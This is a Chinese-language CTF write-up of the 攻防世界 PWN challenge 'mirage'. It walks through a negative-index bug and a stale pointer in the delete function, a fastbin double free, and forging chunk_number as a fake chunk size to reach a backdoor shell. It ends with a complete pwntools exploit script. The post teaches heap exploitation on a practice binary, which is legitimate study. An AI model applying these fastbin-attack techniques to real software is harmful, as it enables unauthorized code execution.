欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN之mirage题解

程序员文章站 2022-04-25 23:08:32
...

Mirage

首先,我们检查一下程序的保护机制

攻防世界PWN之mirage题解

然后,我们用IDA分析一下

看似复杂,但是我们的关注点在这里

攻防世界PWN之mirage题解

当我们的初始化数据包满足条件,就能显示出菜单。

一个经典的增删查程序

攻防世界PWN之mirage题解

Delete操作里有两个漏洞,一个是下标可以负向越界,另一个是对于下标大于46的,堆指针会被保留在数组里

攻防世界PWN之mirage题解

而程序实际可以创建到下标48处(即49个堆),

攻防世界PWN之mirage题解

那么,对于下标为47的堆,可以被我们double free,由于都是fastbin范围的块,我们需要让fastbin形成循环单链表。因此,我们delete(47)delete(0)delete(46)即可。

为什么第三个是delete(46),因为我们delete(0)后,原先在47位置的堆指针赋值到了46处。

程序在功能5有一个后门

攻防世界PWN之mirage题解

不过需要chunk_number+8处数据满足条件。因此,我们用fastbin attack来攻击chunk_number。

攻防世界PWN之mirage题解

我们控制chunk_number在0x20~0x2F的范围,使它伪造成一个chunk的size,这样,我们就能把它链接到之前的fastbin链表里,通过申请,就能申请到此处。

为了让chunk_number减少2个,但又不往fastbin里面新增chunk,我们可以delete()两个个空指针。于是我们执行两次的delete(-2)

不过,我们直接输入-2是不行的

攻防世界PWN之mirage题解

因为负号会被检测到,由此,我们采用补码的形式传入即可

  1. #-2处是空的,free()空指针不会出错,我们可以让count减去2  
  2. for i in range(2): #腾出两个空间  
  3.    #delete(-2)  
  4.    delete(0x100000000-2)  

然而,当我们delete(-2)后,变成这样了

攻防世界PWN之mirage题解

有堆的地址写到了fake_chunksize的区域,如果把它链接到0x20fastbin,申请看似会出错。

然而,事实是不会出错。这是怎么回事??

我们来做个试验

 

编译这段c语言代码,发现堆成功申请到目标地址处

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
   printf("uint size=%d\n",sizeof(unsigned int));
   char *p1 = (char *)malloc(0x10);
   char *p2 = (char *)malloc(0x10);
   free(p2);
   free(p1);
   *((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F;
   char *p3 = (char *)malloc(0x10);
   char *p4 = (char *)malloc(0x10);
   strcat(p2,"P4P4P4P");
   printf("*p4=%s,*p2=%s",p4,p2);
   return 0;
}

我们发现,size域高4字节数据对伪造的fastbin没有影响。

我们来看看glibc的源码

  1. /* offset 2 to use otherwise unindexable first 2 bins */  
  2. #define fastbin_index(sz) \  
  3.   ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)  

注意到size被强制转换为unsigned int后再进行的计算。而unsigned int为4字节。这就解释的通了。这也是我的新发现

综上,我们完整的exp脚本

#coding:utf8
from pwn import *

sh = process('./mirage')
chunk_number_addr = 0x60514C

def init_connection():
   sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big'))

def create(content):
   sh.sendlineafter('> ','1')
   sh.sendafter('content: ',content)

def show(index):
   sh.sendlineafter('> ','2')
   sh.sendlineafter('id: ',str(index))

def delete(index):
   sh.sendlineafter('> ','3')
   s = str(index)
   #sh.sendafter('id: ',s)
   sh.sendlineafter('id: ',str(index))

init_connection()
for i in range(49):
   create('a'*0x4)

#形成双向链表
delete(47)
delete(0)
#delete 0 后,原来47的位置的指针移动到了46
delete(46)
#-2处是空的,free()空指针不会出错,我们可以让count减去2
for i in range(2): #腾出两个空间
   #即delete(-2)
   delete(0x100000000-2)
raw_input()
#将chunk_number_addr处的空间链入0x20大小的fastbin
#为了将chunk_number处的空间链入0x20大小的fastbin,我们需要让chunk_number接近0x20伪装成size
create(p32(chunk_number_addr - 0x8))
create('a'*0x4)
create('a'*0x4)
create(p32(0x100000000-17))
#getshell
sh.sendlineafter('> ','5')

sh.interactive()